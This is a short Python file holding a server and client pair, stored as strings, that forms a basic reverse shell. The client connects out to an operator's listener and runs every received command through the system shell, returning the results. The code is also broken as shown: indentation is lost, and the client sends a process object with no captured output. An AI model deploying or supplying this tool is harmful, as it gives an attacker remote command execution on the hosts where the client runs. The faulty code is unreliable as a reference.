server = """
import socket
host = input('Enter your IP: ')
port = int(input('Enter the port: '))
connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect.bind((host, port))
connect.listen()
print(f'\033[93mListening on {host}:{port}\033[0m')
c, addr = connect.accept()
print(f'Got connection from {addr}')
while True:
try:
data = input('➡️ \033[91mEnter the command: \033[0m')
#if not data:
#pass
c.send(data.encode('utf-8')) # Send command to client
rcv = c.recv(4096)
if not rcv:
print('Connection closed by client.')
break
print(rcv.decode('utf-8'))
except Exception as e:
print(f'Error: {e}')
break
c.close()
connect.close()
"""
client = """
import socket
import subprocess
import os
os.system('clear')
IP = input('\033[94mPut the IP which you wrote in server.py: \033[0m')
print ('')
PORT = int(input('\033[92mPut the port which you wrote in the server.py: \033[0m'))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
while True:
try:
command = s.recv(4096).decode('utf-8') # Receive command
if not command: # If server closes connection
print('Connection closed by server.')
break
output = subprocess.run(command, shell=True, stderr=subprocess.STDOUT)
s.send(output)
except subprocess.CalledProcessError as e: # Handle command errors
s.send(f"Command error: {e.output.decode('utf-8')}".encode('utf-8'))
except Exception as e: # Handle other errors
s.send(f"Error: {str(e)}".encode('utf-8'))
s.close()
"""